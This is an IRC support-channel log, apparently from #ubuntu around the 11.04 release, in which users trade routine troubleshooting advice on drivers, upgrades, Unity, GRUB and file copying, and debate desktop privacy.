[06:01] <celthunder> iam126: if you're using cisco hw for the routers i can probably help a bit
[06:01] <iam126> as did machida
[06:02] <GuyCanada> iam126: oh ok thanks you, ive been hearing rumblings
[06:02] <iam126> GSP beat Shields
[06:02] <nyquist333> sudo chattr +i .recently-used.xbel
[06:02] <iam126> GuyCanada: no
[06:02] <iam126> np
[06:02] <celthunder> illmortal: edit grub when booting to boot to init 3
[06:02] <nyquist333> It's in your home dir. But it moved to .local/shared in 11.04
[06:02] <illmortal> O.o;
[06:02] <celthunder> illmortal: you could also use init 1 but..either way from there login as your user and type startx
[06:03] <monekfygh> Guess no one could help :l
[06:03] <ohsix> nyquist333: you aren't protecting your privacy doing that ... le snoop on your fils and you leave your session unlocked with many people to poke around on it
[06:03] <iam126> celthunder: thanks, our grid is pretty large and my guys are on salary so if they cannot fix it i need to fire people, otherwise I would take you up on that
[06:03] <ohsix> nyquist333: use inotify-watch from inotify-tools to do the cleanup you want
[06:03] <celthunder> iam126: i need a new job so lol :) feel free i'd gladly throw in a few hours free for something worth it in the end
[06:03] <nyquist333> Well, if I have photos on a flash drive, and I only use the flash drive once, it shows up in .thumbnails.
[06:03] <nyquist333> So that sucks.
[06:04] <iam126> celthunder: fill out godmode.cc!
[06:04] <iam126> celthunder: since it works
[06:04] <iam126> celthunder: for now :)
[06:04] <nyquist333> ohsix: I'll check that out.
[06:04] <tyr> hello, can someone help me with my wireless card?
[06:04] <ohsix> nyquist333: theres also a record of the volume in gconf for your view preferences ;]
[06:04] <Falstaf> I like gnome ... is there some reason for the change in GUI.
[06:04] <celthunder> tyr: whats your card chipset and issue with it also any network managers used /modules/etc
[06:04] <illmortal> not sure what you mean celthunder... choosing between init 1 and 3
[06:04] <nyquist333> I think there is an issue in 11.04. gconf is not letting me turn off thumbnail caching.
[06:05] <iam126> celthunder: I would gladly take you up on that because I have infinite work ahead for next several years
[06:05] <iam126> celthunder: all capacities of technical ninjality
[06:05] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show me any entries. Does this mean that there are no Ubuntu classrooms in May, 2011?
[06:05] <celthunder> iam126: move to pm?
[06:05] <karthick87> How to install flash player in ubuntu?
[06:05] <tyr> can someone help me please?
[06:05] <ohsix> nyquist333: you could always use a guest session, it's wiped out after log on; theres going to be an unbounded list of things to clean up
[06:05] <celthunder> illmortal: in grub push e and then go to kernel line and edit it to add a 1 or a 3 at the very end (with a space after last line made) then ctrl x to boot it
[06:05] <xust-> has anybody had any issues installing 11.04?
[06:05] <celthunder> tyr: read up and answer above questions
[06:05] <xust-> random restart during installation...
[06:06] <bullgard4> !wireless | tyr
[06:06] <ubottu> tyr: Wireless documentation, including how-to guides and troubleshooting information, can be found at https://help.ubuntu.com/community/WifiDocs
[06:06] <tyr> up?
[06:06] <illmortal> ok celthunder.. will try right now
[06:06] <celthunder> karthick87: 64 bit or 32 bit
[06:06] <sly> celthunder, you still around?
[06:06] <sameerkof> Anyone know how to use themes after installing gnome3 shell ... ?
[06:06] <karthick87> celthunder: 32 bit
[06:06] <ohsix> nyquist333: check out /apps/nautilus/desktop-metadata
[06:06] <nyquist333> ohsix: Clean up is nice, but I would really like it if nothing was ever written to the disk.
[06:06] <xust-> is there a way to pull up what may be erroring here when the system restarts suddenly at about 60% through the installation of 11.04 64-bit?
[06:07] <cthuljew> So, any word on a hack that'll let us change applet order in the Unity panel?
[06:07] <bullgard4> karthick87: You can install Firefox. In Firefoy you can install a Firefox add-on for flash player.
[06:07] <ohsix> nyquist333: i hope you don't have a swap file ;] really if you take this to the reaches of silly ness it will be quite silly
[06:08] <nyquist333> No, no swap file.
[06:08] <razor__> used the live cd couldnt find the system setting where is it
[06:08] <ohsix> not a good idea
[06:08] <nyquist333> ohsix: Wow, desktop-metadata is even worse!! I thought windows was bad!
[06:09] <xust-> anybody running 11.04 on a single core? lol
[06:09] <adsasd> hi du ei!!!
[06:09] <ohsix> nyquist333: it's just the volume name and some things
[06:09] <bullgard4> sameerkof: No.
[06:09] <xust-> this is VERY laggy during installation, and restarts after a while every time...the system is stable...
[06:09] <ohsix> nyquist333: it's not bad to remember where things are
[06:09] <ohsix> nyquist333: it's just to keep the user from having to set it again, over and over
[06:10] <JoseeAntonioR> I'm having troubles with my monitor. It isn't recognized, and I'm stuck in 1024x768. What can I do?
[06:10] <nyquist333> True, and some videos. Could be worse? It's just some music vidoes.
[06:10] <celthunder> karthick87: then it should be as easy as adding whatever repo flashplugin is in to your sources.list and apt-get update apt-get install flashplugin
[06:10] <themacg33k> Hey guys, I'm trying to boot into the 10.04 Ubuntu PPC installer on a G5 iMac... it doesn't boot into the disk. :(
[06:10] <razor__> I used the live cd on a p4 512 ram system.  worked well no unity desktop which is cool
[06:10] <ohsix> JoseeAntonioR: it's not just your monitor; it's not using an accelerated  driver, that may be the only mode
[06:10] <xust-> This is an Opteron 144 with 2gb of RAM...
[06:10] <nyquist333> I guess the only real way to keep things locked down is to use full disk encryption. There's just too many leaks. Or run from a LiveCD.
[06:10] <Aikar> anyone know how to get HTC EVO to mount sd card when in ubuntu? plugging in usb only charges and doesnt give me option to mount
[06:11] <ohsix> JoseeAntonioR: you on't get a solution but you might try asking in #intel-gfx what the status of the driver for your hw is
[06:11] <ohsix> nyquist333: ugh are you joking about encryption
[06:11] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[06:11] <kneaux> How do I get panel preferences in 11.04?
[06:11] <InHisName> HOW TO finish upgrading to 10.10 where the gui portion hangs ?   I can login text mode in recovery.
[06:11] <JoseeAntonioR> ohsix Well, thanks!
[06:12] <ohsix> kneaux: use ccsm from compizconfig-settings-manager, the unity plugin
[06:12] <cthuljew> kneaux: Does not exist, more or less.
[06:12] <cthuljew> Oh, unless you mean the sidebar.
[06:12] <ohsix> kneaux: if you mean the thing at the top that looks like a panel, it's not a panel :\
[06:12] <cthuljew> ohsix: Yeah, so, when do we get a hack that lets us configure the top not-panel?
[06:13] <tyr> can someone help me with instructions i dont understand?
[06:13] <ohsix> cthuljew: configure what?
[06:13] <nyquist333> ohsix: why? It's the best way to keep windows from tracking things. Enterprise environments want this level of privacy to protect IP.
[06:13] <kneaux> am I correct in assuming I'm not the only one lamenting the new management
[06:13] <cthuljew> ohsix: Well, the order of the applet on the top right, for instance.
[06:13] <PythonPup> JoseeAntonioR, worst case, google for the xorg.conf values for your monitor
[06:13] <ohsix> nyquist333: humans are the weak link, encryption is no panacea & encrypting everything is a liablity
[06:13] <razor__> not liking natty!!!!
[06:14] <ohsix> razor__: this is a help channel
[06:14] <cthuljew> applets^
[06:14] <kneaux> how do I invoke compizconfig-settings-manager?
[06:14] <PythonPup> razor__, Then don't use it.  Go back to a stable lucid.
[06:14] <cthuljew> kneaux: Click top left, type compiz, it'll show up.
[06:15] <ohsix> kneaux: after it's installed run ccsm from a terminal or alt+f2, it's also in system -> preferences
[06:15] <kneaux> hhhh.
[06:15] <kneaux> i spent all this time learning exactly what's in linux, and now ubuntu wants me to guess.
[06:15] <sly> Alright, guys.. So I still can't get sound preferences to work.
[06:16] <tyr> oshix, can you please help me in understanding some instructions?
[06:16] <nyquist333> ohsix: Performance liability? Ubuntu privacy mix is a very good idea for maintaing and handling confidential data. A law firm may not want a case # to be viewable in some cache somewhere. How do you keep things from leaking?
[06:16] <razor__> ok staying with 10.10 maybe next release will try
[06:16] <razor__> see ya
[06:16] <Guest67776> ok
[06:16] <tyr> someone please help me
[06:17] <ohsix> nyquist333: no, liability, encrypting everything means its all as valuable as the most valuable thing in it, or as useless the rest in it
[06:17] <tyr> i cannot understand some instructions
[06:17] <sameerkof> what should i do there is no "Appearance" option no theme option only one software installed with gnome3 gnome tweak tool now how i am suppose to add themes.
[06:17] <nyquist333> ohsix: In any case. I think I will open a lauchpad case for the tumbnail cache that used that can't be disabled.
[06:17] <Guest67776> we do it
[06:17] <PythonPup> tyr, ask your question.  If someone can help, they will.  Don't ask to ask a question.
[06:17] <ohsix> nyquist333: things "leak" only if you let them, if it's important for it not to show up on a computer perhaps its prudent not to involve a computer
[06:18] <nyquist333> ohsix: Very true. I've had this argument in several design discussions. However, most places just make every thing equally important and encrypt it.
[06:18] <tyr> PythonPup, I cannot understand the instructions here http://sampbar.com/2009/04/broadcom-bcm4318-ubuntu-intrepid/
[06:18] <researcher123> I have 11.04 & 10.10 CD image. Want to upgrade from 10.04. How to proceed?
[06:18] <kneaux> ohsix, what's ccsm?
[06:18] <kneaux> oh nvm.
[06:18] <ohsix> nyquist333: you control assets that  are important and segregate them, you don't mix them with other stuff then put a bandaid over it
[06:19]  * themacg33k baps Ubuntu
[06:19] <themacg33k> Why won't you start up >:|
[06:19] <nyquist333> I can give you many examples where a computer has to be involved and the data needs to be all contained. The computer should not be the enemy logging everything making it impossible to clean up history. Firefox has a privacy mode it would be cool if the OS also had one.
[06:19] <sly> Does anyone know how I would set ALSA to be controlled by the sound preferences in Ubuntu's sound menu?
[06:19] <Jordan_U> researcher123: Unless they are the alternate install images they won't help at all in upgrading.
[06:19] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[06:19] <sly> I keep getting a message "Waiting for sound system to respond"
[06:19] <researcher123> Jordan_U: How d i know that
[06:19] <themacg33k> nyquist333: Agreed
[06:20] <Jordan_U> researcher123: What are they named?
[06:20] <Secluded1> how come the "window" menu doesn't show up in LibreOffice when you enable the lo-globalmenu in 11.04?
[06:20] <tyr> can someone please simplify these instructions? http://sampbar.com/2009/04/broadcom-bcm4318-ubuntu-intrepid/
[06:20] <ohsix> nyquist333: firefox also supports pkcs11
[06:20] <researcher123> Jordan_U: named "ubuntu-11.04-desktop-i386.iso"
[06:20] <Jordan_U> researcher123: That won't help in upgrading. You can do a fresh install preserving your home directory though.
[06:20] <IdleOne> !broadcom | tyr
[06:20] <ubottu> tyr: Help with Broadcom bcm43xx can be found at https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[06:21] <PythonPup> tyr, maybe  could answer a specific question, if you have one.  I never use ndiswrapper.  I think it is a bad idea.  I'd go get a better wireless card, that is really supported in Linux.
[06:21] <Jordan_U> tyr: What version of Ubuntu are you using?
[06:21] <PW-toXic> Hi!  I have just enabled desktop cube and cube rotate on 11.04  and everything disappared from the GUI... i reenabled the Unity plugin and now i have no window manager! there are no window borders or window icons like close or no gnome top panel - how can i recover?
[06:21] <IdleOne> tyr: i think the link ubottu just gave you will be of more help to you.
[06:21] <nyquist333> ohsix: Is that good or bad? I think you can do smart card log on with linux? I've never set it up.
[06:21] <ohsix> nyquist333: it's good
[06:21] <researcher123> Jordan_U: I dont want earlier application available on 10.04 to be removed with fresh install of 11.04.How can it be done
[06:21] <xust-> while installing system on 64-bit 11.04, the system restarts suddenly. no error. just a restart...
[06:21] <tyr> I am using the latest one 11.04
[06:21] <sahil_> well can i have support about virtual box here?
[06:21] <Jordan_U> researcher123: Use update-manager.
[06:21] <PythonPup> PW-toXic, log oout and back in.
[06:21] <Jordan_U> !upgrade | researcher123
[06:21] <ubottu> researcher123: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[06:22] <researcher123> Jordan_U: I tried but no options for that
[06:22] <ohsix> nyquist333: if your browser will contain important information you can't keep out of it, it's a good thing to use
[06:22] <PW-toXic> PythonPup, I rebooted - didnt work
[06:22] <tyr> I cant even find System etc with the new unity interface
[06:22] <researcher123> !upgrade
[06:22] <nyquist333> ohsix: Are you a ubuntu developer?
[06:22] <Jordan_U> researcher123: Read the links ubottu gave you. You probably need to enable non-LTS upgrades.
[06:22] <ohsix> tyr: top right menu, with your login name; click it and pick settings
[06:22] <xust-> is anybody going to answer what might be going on with my installation???
[06:22] <ohsix> nyquist333: no
[06:22] <researcher123> Jordan_U: ok.Im trying
[06:22] <sahil_> can i hav help about virtual box here?
[06:23] <PythonPup> tyr, click on the icon in the top left and type a few characters of the command you want
[06:23] <bazhang> sahil_, #vbox
[06:23] <sahil_> thnx
[06:23] <kneaux> are the only settings for unity available through compiz
[06:23] <tyr> thanks oshix
[06:24] <PythonPup> PW-toXic, restart the system.  After you type your name at the login, choose Gnome at the bottom of the screen.
[06:24] <nyquist333> ohsix: I was just wondering why this trend of Zeitgeist and file indexing has been going full speed ahead. I installed konversation recently, and next thing i know I've got 2 new indexers running in my home directory, by default! Is this normal now a days?
[06:24] <Jordan_U> tyr: In the system settings select "Additional Drivers".
[06:25] <sahil_> <bazhang> no1 is at vbox
[06:25] <sahil_> :(
[06:25] <nyquist333> Some Zeitgeist developers don't seem to understand why someone doesn't want to use it. The trend seems to be if you want privacy somethings wrong with you.
[06:25] <tyr> jordan, i have tried that before when i was using linux mint
[06:25] <researcher123> Jordan_U: its working.Thanks
[06:25] <bazhang> sahil_, there are 235 users there
[06:25] <tyr> it would not download the drivers for the wireless card
[06:25] <Jordan_U> researcher123: You're welcome.
[06:25] <rondinelli> can someone help me, please? about a problem with my wi-fi in Ubuntu 11.04 (Atheros AR9285)
[06:25] <linusasus6> please for the grub is it better I put it on sdc or on my /boot partition? (wich is sdc5 a dedied boot partition) Im on the install process right now
[06:26] <Jordan_U> tyr: You'll need to be connected via ethernet or copy the drivers over on a flash drive.
[06:26] <tyr> in 11.04, it shows only my modem for activation, there is no wireless card to be seen in additional drivers
[06:26] <ohsix> nyquist333: i have no idea what people consider normal, but my grandma expects to be able to search here computer & is quite coonfused when it doesn't include email and other things she's done
[06:26] <PythonPup> sahil_, My virtualbox bachine is running the upgrade at the moment, so I can't verify things.  But, I use vbox a lot and I'll try,  What is your query?
[06:26] <Jordan_U> linusasus6: Always install grub's boot sector to the mbr.
[06:26] <linusasus6> so it mean sdc
[06:27] <ohsix> nyquist333: if the stuff is on your computer you don't need indexing or caching to find it; it's still on the computer
[06:27] <Jordan_U> linusasus6: Yes.
[06:27] <xust-> alright! I made it past the "you must restart your computer to use your new installation" !!! then it locked up while stopping services?
[06:27] <tyr> Jordan_U can you show me were to download the drivers for broadcom 4318
[06:27] <ohsix> i have porn and other things on my computer i'd be a bit embarassed about, but it's a calculated risk
[06:27] <xust-> what is wrong with 11.04???
[06:27] <nyquist333> True, a unified search is cool, but I should be able to turn that off. You can't have every feature and have the same privacy profile. I understand that.
[06:28] <ohsix> xust-: is there something wrong? do you have a question?
[06:28] <ohsix> nyquist333: if you store it and your storage leaves your custody theres little to do
[06:28] <xust-> yes! i've been trying to install 11.04 64-bit for the past few hours, and it has restarted each time, getting a little further every time...
[06:28] <xust-> but not completing the installation
[06:28] <PythonPup> xust-, Wayland is not working yet.  There may be a few other problems.
[06:29] <tyr> Jordan_U  where can  download the drivers from?
[06:29] <xust-> It's acting like the system is unstable for the most part, but it's rock solid
[06:29] <PW-toXic> PythonPup, i rebootetd into ubuntu classic and my top and bottom panels are there as welll as my window decorations - however when I reboot into ubuntu with unity, my top panel is back there, but I still have no window manager.. any window i open is sticked to the top left corner and there are no close or min/maximize icons in the top panel
[06:29] <PythonPup> xust-, Don't expect any software to be bug free.  Ubuntu is pretty good.
[06:29] <xust-> random reboots/locking up.
[06:29] <ohsix> PythonPup: who mentioned wayland?
[06:29] <xust-> how is the support for ULi chipsets? was the very little support that existed in previous versions dropped or anything?
[06:30] <rondinelli> why I cant find package "linux-backports-modules-wireless-maverick-generic" in Synaptic Ubuntu 11.04?
[06:30] <nyquist333> ohsix: thanks for the info. I have to go. I'll keep playing with 11.04.
[06:30] <ohsix> rondinelli: because natty isn't maverick, do you still need the backports?
[06:30] <Jordan_U> tyr: https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx#b43%20-%20No%20Internet%20access
[06:30] <ohsix> rondinelli: it's net-natty now
[06:30] <PythonPup> PW-toXic, I had that problem a few times in beta testing.   I waited for an update and then I usually got it working.
[06:31] <sahil_> pythonpub: well i hav installed xp in vbox (ubuntu natty 32 bit)the sole purpose is to practice c programing with respect to bgi but the problem is i cant make the turbo c into full screen  as it normally happens in xp
[06:31] <PW-toXic> PythonPup, i think ill just reinstall ubuntu.. thats probably faster than fiing this ;)
[06:31] <ohsix> rondinelli: but the backports in mav were from the natty kernel, you probably don't need them now
[06:31] <PW-toXic> PythonPup, i will stop testing compiz with unity ;)
[06:31] <PythonPup> ohsix, someone asked what is wrong with Natty.  So, I mentioned one thing wrong with it.  A bit of a silly answer, but it was a silly question.
[06:31] <linusasus6> Me I will stick with ubuntu 10.04 and wait for the 12.04, too much issues with 11.04
[06:32] <ohsix> PythonPup: a very silly answer, it implies it's useful at al
[06:32] <tripelb> 10.04 upgrade has improved my resolution. maybe nvidia forgot to tell me I needed to reboot to see the wonderful changes I made. Better.
[06:32] <PythonPup> PW-toXic, If your hardware is having problems with compiz, that could be a good idea.
[06:32] <kevinyoung> hi all
[06:32] <PW-toXic> PythonPup, im running on virtual box and i didnt have any issues with 10.10
[06:33] <nyquist333> linusasu6: Quick update. What issues are you seeing with 11.04? I have to go, but would like to know.
[06:33] <rondinelli> ohsix: I found some forums on the Internet that it was necessary to install this package to run the Atheros AR9285 wifi.
[06:33] <PythonPup> PW-toXic, I like the vbox in 11.04 much better than the one in 10.10
[06:33] <tripelb> what did the 10.04 upgrade do for me? anybody know?  (if you arent "locked" onto natty)
[06:33] <PW-toXic> PythonPup, why?
[06:33] <ohsix> rondinelli: were these instructions for maverick?
[06:33] <jrt4> Do I need to do a distribution upgrade from 11.04 alpha2 to the 11.04 release?
[06:33] <sahil_> pythonpub:well i hav installed xp in vbox (ubuntu natty 32 bit)the sole purpose is to practice c programing with respect to bgi but the problem is i cant make the turbo c into full screen  as it normally happens in xp
[06:34] <PythonPup> VirtualBox 4 and up have better mechanisms for exporting and importing VMs.  I move VMs between machines a fair amount.
[06:34] <Coty91> jrt4: You're up to date as long as you've installed the latest updates.
[06:34] <Jordan_U> rondinelli: Does wireless not work for you out of the box in 11.04?
[06:34] <PythonPup> sahil_, Have you tried Control-F
[06:34] <ohsix> jrt4: a regular apt-get update style upgrade should carry you all the way
[06:35] <sahil_> no...cntrol x...
[06:35] <illmortal> bleh init 1 and 3 both fail to boot =\
[06:35] <ohsix> Jordan_U: fwiw i've seen a lot of people having trouble with ath9k stuff in 11.
[06:35] <jrt4> Coty91, So I'm not going to be perpetually tracking a development version? i.e. Once it gets to 11.04 release, it will no longer be downloading development updates like it was before?
[06:35] <sahil_> wait trying
[06:35] <rondinelli> Jordan_U: no, my Atheros AR9285 cant connect, keeps asking for password repeatedly.
[06:35] <ohsix> Jordan_U: nobody ever got back to me after trying the backports in natty
[06:35] <cached> Is there any chance Ubuntu will be switching back to GNOME? I don't think I can recommend it as a useful distro for beginners as long as Unity is the default UI
[06:35] <JoseeAntonioR> Just posted my question in Launchpad. If anyone knows any way to help me, please answer there. https://answers.launchpad.net/ubuntu/+source/xserver-xorg-video-intel/+question/155192
[06:36] <Coty91> jrt4: Correct. It will be just like you installed the final release.
[06:36] <ohsix> cached: they didn't switch from gnome
[06:36] <jrt4> Coty91, thanks
[06:36] <xust-> w00t. I have a desktop!
[06:36] <xust-> and unity! and restricted drivers!
[06:36] <PythonPup> ohsix, backports in natty would be pretty much empty at this point.  It will only be useful once the Oneiric cycle gets going.
[06:36] <ohsix> cached: they wrote a plugin for compiz and made a session to start it with it in a new session
[06:36] <cached> ohsix: they effectively did, UI-wise
[06:36] <ohsix> PythonPup: ehh
[06:36] <ohsix> cached: na; that's just the WM
[06:36] <linusasus6> cached when gnome 3 will be supported on ubuntu everything will be fine
[06:37] <ohsix> cached: 99.99% of the rest is the same
[06:37] <tyr> I cannot copy files to my home folder, what is the solution
[06:37] <xust-> quick question! any suggestions for a hardware stress test for 11.04?
[06:37] <bison> any suggestion, cairo-dock or docky?
[06:37] <cached> ohsix: either way, it's a terrible design
[06:37] <PythonPup> cached, for some people using Natty, I would recommend they use Gnome.  Everything is installed.  You just have to select it upon login.
[06:37] <ohsix> cached: the time for those comments passed a long time ago
[06:37] <fritolay> I prefer docky.
[06:37] <sahil_> pythonpub:u perhaps dsnt understood my questn...the vbox does goes to seamless mode/fullscreen but the turbo c program installed in xp in vbox doesnot become full screen
[06:37] <Inphernal> Both of them suck
[06:38] <ohsix> cached: plus we don't really "help" with past design decisions
[06:38] <sahil_> it seems sticked to 640*480
[06:38] <illmortal> anyone have a how to on fixing the broken upgrade of 11.04? I can log using previous version 2.6.35-28 but fails on 2.6.38-8. Using previous version seems to be loading up 11.04 though since it's using Unity GUI
[06:38] <sly> https://answers.launchpad.net/ubuntu/+question/155193  << Problem I'm having, if someone can help.
[06:38] <tyr> PythonPup how do I copy files to my home directory?
[06:38] <xust-> THANKS FOR IGNORING ME
[06:38] <Inphernal> rage
[06:38] <cached> ohsix: I was asking if there's a chance it'll switch back or not. I'm wondering if I should just start completely ignoring Ubuntu from now on or not.
[06:38] <cached> ohsix: I wasn't asking for specific help
[06:39] <PythonPup> xust-, no problem.  glad to help
[06:39] <linusasus6> well will see now if my install is good
[06:39] <PythonPup> tyr, how are you trying to copy?
[06:39] <tyr> someone please tell me how to copy files to home directory. I cannot paste them
[06:39] <jeregon> hello guis i whant to start ubuntu with out gui any i dea on how?
[06:39] <tyr> copying from downloads to home
[06:39] <bazhang> !nox | jeregon
[06:39] <ubottu> jeregon: To start your system in text-only mode append 'text' (without the quotes) to the kernel line in the grub menu. You can access the grub menu by pressing Esc (Grub legacy) or Shift (Grub2) during boot. For more info see https://help.ubuntu.com/community/BootOptions#Text%20Mode
[06:40] <PythonPup> Just open up a terminal and use cp.  What happens then?
[06:40] <ohsix> cached: you can switch back, right now unity is where the action is
[06:40] <ohsix> cached: the old session with panel & nautilus goodies will remain
[06:40] <tyr> PythonPup, how do I copy to home?
[06:40] <PythonPup> ohsix, for 11.04, true.
[06:41] <thien> should i setting resolution by xorg.conf or by xrandr commands in gdm startup scripts ? which is better ?
[06:41] <gartral> i installed KDE, and i was playing around with widgets, and enabled the bouncing ball with auto bounce, how the #$%^ do I stop it? it's on crack!
[06:41] <meganerd> thien: xrandr
[06:41] <linux> happy
[06:41] <ohsix> PythonPup: lets not speculate, and by lets i mean you :]
[06:41] <meganerd> thien: xorg.conf does not really do anything anymore
[06:41] <cached> ohsix: I'm aware, but it looks like I can't be recommending Ubuntu from now on to people who will be asking both me and others for help. Maybe Fedora's the way to go
[06:41] <PythonPup> tyr, for example, to copy a file from Downloads called  thisfile, do   cd ~   then cp Download/thisfile .
[06:41] <ohsix> thien: xrandr if your driver can do it
[06:42] <thien> thanks for your help
[06:42] <ohsix> thien: if you still need to do it you'll probably need extra for other outputs too
[06:42] <PythonPup> ohsix, no speculation needed.  The official announcement was that Gnome would be removed from 11.10.
[06:42] <ohsix> PythonPup: nein
[06:43] <ohsix> PythonPup: unless ubuntu is rewriting the 99.99% left that composes their user facing desktop
[06:43] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[06:43] <ohsix> PythonPup: gnome is a huge collection of software, which the shell is a small but important part
[06:44] <xust-> NVidia drivers "activate" but aren't in use. 6600le on 11.04. thoughts?
[06:45] <PythonPup> ohsix, Gnome is certainly more than the shell.
[06:45] <tyr> PythonPup, are you sure you gave the right syntax for copying?
[06:45] <Pascalcmoi> is there a runlevel for text-only
[06:45] <ubuntuguy> hm
[06:45] <ubuntuguy> Does anyone use system monitor indicator?
[06:46] <freeman_> yes
[06:46] <ubuntuguy> How can I make my computer start up with it?
[06:46] <tyr> PythonPup, it gave the message: cp: missing destination file operand after `Download/broadcom-wl-4.150.10.5.tar.bz2'
[06:46] <arquebus> ubuntuguy- r-click on the toolbar and click "add to panel"
[06:46] <thien> i wanna set xrandr commands in gdm startup scripts, what file do i have to edit?
[06:46] <ubuntuguy> arque, I'm using natty
[06:47] <PythonPup> tyr, sure.  But your file may have a different name.  Do a man cp to get the syntax.  It is just cp source destination    at its basics.
[06:47] <freeman_> ubuntuguy, do you think it would work in startup applications?
[06:47] <ubuntuguy> Yeah, why wouldn't it?
[06:47] <freeman_> are you using unity?
[06:47] <ubuntuguy> I just don't know how to add it
[06:47] <ubuntuguy> Yes
[06:47] <freeman_> top right click the button and the last option
[06:47] <PythonPup> tyr, you must have left of the . at the end.  . indicates the current directory.
[06:47] <freeman_> system settings
[06:48] <tripelb> oops, my computer cant see my phone. it could before the upgrade. wassup. java phone
[06:48] <ubuntuguy> And
[06:48] <freeman_> under personal its near the end
[06:48] <ubuntuguy> Startup applications
[06:48] <ubuntuguy> yeah ik
[06:48] <ubuntuguy> but how do I add it?
[06:49] <Jordan_U> ubuntuguy: The command is "gnome-system-monitor".
[06:49] <freeman_> was just about to type that :D
[06:49] <ubuntuguy> Jordan, that's for the system monitor indicator?
[06:49] <freeman_> ubuntu forums if you need a place to look ubuntuguy
[06:49] <ubuntuguy> The one that goes on the panel?
[06:49] <thien> how to setting xrandr commands in gdm startup script?
[06:50] <freeman_> http://ubuntuforums.org/showthread.php?t=1136286
[06:50] <chreestopher> anyone  care to help a linux newb who is having some simple problems?
[06:50] <Jordan_U> ubuntuguy: No. I don't know about the indicator.
[06:50] <PythonPup> ubuntuguy, do you have gnome-session-properties?  try running it.
[06:50] <ubuntuguy> Yeah, I want to add the indicator
[06:50] <freeman_> chreestopher, you can just ask your question :)
[06:51] <chreestopher> how do I setup a sudo password for a user?
[06:51] <ubuntuguy> Gnome session properties, for the indicator? I don't think that would work
[06:51] <kneaux> so what do i do to change the commands the panel launchers run?
[06:51] <chreestopher> i dont know the correct terminology yet, but i hope you understand what i mena
[06:51] <chreestopher> mean*
[06:51] <PythonPup> chreestopher, It is their regular password.  Whether they can use it depends upon their role.  Are they an admin.
[06:51] <chreestopher> yes
[06:51] <tyr> PythonPup, I right clicked the files and asked to copy to home directory. but they were instead copied to home/username.
[06:52] <freeman_> chreestopher, you want to add someone to the "sudoers" file
[06:52] <kneaux> or change the shortcuts in the dash...or add launchers to the docky thing...
[06:52] <chreestopher> ok, ill google that, should be able to get  it
[06:52] <tyr> PythonPup, is there any other way to  copy these files? I am a new user and I can't understand your commands
[06:52] <kneaux> none of the things normal operating systems allow me to do with no questions asked seem to be possible in this new ubuntu
[06:52] <freeman_> chreestopher, ill keep looking. let me know if you find it
[06:53] <tyr> PythonPup, In linux mint i think there was a way to open the home folder as the admin and then copy
[06:53] <PythonPup> tyr, Most people would call home/username their home directory.  You may not have permissions to copy to /home.  If you really mean /home, then do the cp as sudo.
[06:53] <chreestopher> i just found a tut on google freeman, thanks though
[06:53] <freeman_> np :)
[06:53] <shijie> hello, I installed codeblocks,but it doesn't work
[06:54] <NikolayTheThird> Why is moving windows around so slow now in 11.04 compared to 10.10?
[06:54] <xust-> NVidia drivers "activate" but aren't in use. 6600le on 11.04. I've tried both versions that show up in the proprietary drivers window. what's going on?
[06:54] <shijie> it throwed "sh XXX permission denied " error upon compiling
[06:54] <PythonPup> tyr, probably.  Their are lots of ways to do it.  You can open a nautilus root shell, or use sudo , or open a root terminal shel;l and copy.
[06:54] <shijie> can anybody help me?great appriciated
[06:54] <linusasus6> finally after hour of help thank I have copy paste in my email what you tell me, but the reinstallation solution was way faster  I'm happy to be on my ubuntu 10.04
[06:55] <freeman_> linusasus6, dont always have to be on the cutting edge
[06:55] <micahcowan> So... the app launcher. Where does it store its data?
[06:56] <badbandit> hello, I just upgraded to 11.04 from 10.10 and I am not liking the UI changes at all... is there any way to use the previous UI or downgrade back to 10.10?
[06:56] <shijie> but before I upgraded to 11.04, codeblocks works well.
[06:56] <crlcan81> log out
[06:56] <crlcan81> badbandit: log out then select ubuntu classic
[06:56] <ohsix> badbandit: pick classic from the login screen at the bottom, after clicking on your name
[06:56] <badbandit> I feel like the saying " if its not broken, dont fix it" was ignored
[06:56] <badbandit> ok
[06:56] <micahcowan> I have the "terminal" app there, but it's gnome-terminal, not xterm, even though I edited it to the correct value as far as gnome is concerned
[06:56] <badbandit> thanks
[06:56] <ohsix> badbandit: it's not broken if it's a new thing :]
[06:57] <freeman_> badbandit, yes i agree but i think its kind of fun figuring it out
[06:57] <badbandit> ohsix: true, and maybe its because Im just used to the old UI but there are a few things that just don't seem as intuitive
[06:57] <crlcan81> I agree freeman, they had their reasons for it.
[06:57] <ohsix> badbandit: it's hard to unlearn
[06:57] <PW-toXic> Hi,  suddenly both of my raid drives (raid5 and raid1) started a rebuild.. is this normal? Im getting afraid
[06:57] <PW-toXic> mdadm
[06:58] <linusasus6> freeman the issues of grub was due of the order I install my 2 distribution and the wrong place I have put the grub , by placing grub on sdc grub is mounting on sdc5 anyway the error I did before is too install grub directly on sdc5 instead of sdc
[06:58] <ohsix> PW-toXic: there should be a log somewhere that indicates why they started rebuilding
[06:58] <mah454> I have big problem with ubuntu-11.04 . where is minimize to tray ?
[06:58] <linux> cd
[06:58] <ohsix> mah454: that was something an app did
[06:58] <PW-toXic> ohsix, and where?
[06:59] <shijie> any body know about codeblocks compilation errors?thanks
[06:59] <crlcan81> on multimedia system selector, is it better to autodetect, alsa, or pulseaudio?
[06:59] <Windows> Is this the correct Ubuntu channel?
[06:59] <mah454> ohsix minimize to tray for xchat client ...
[06:59] <ohsix> mah454: most apps that put garbage in that area aren't in the whitelist so their icon doesn't show
[06:59] <xust-> NVidia drivers "activate" but aren't in use. 6600le on 11.04. I've tried both versions that show up in the proprietary drivers window. what's going on?
[06:59] <xust-> NVidia drivers "activate" but aren't in use. 6600le on 11.04. I've tried both versions that show up in the proprietary drivers window. what's going on?
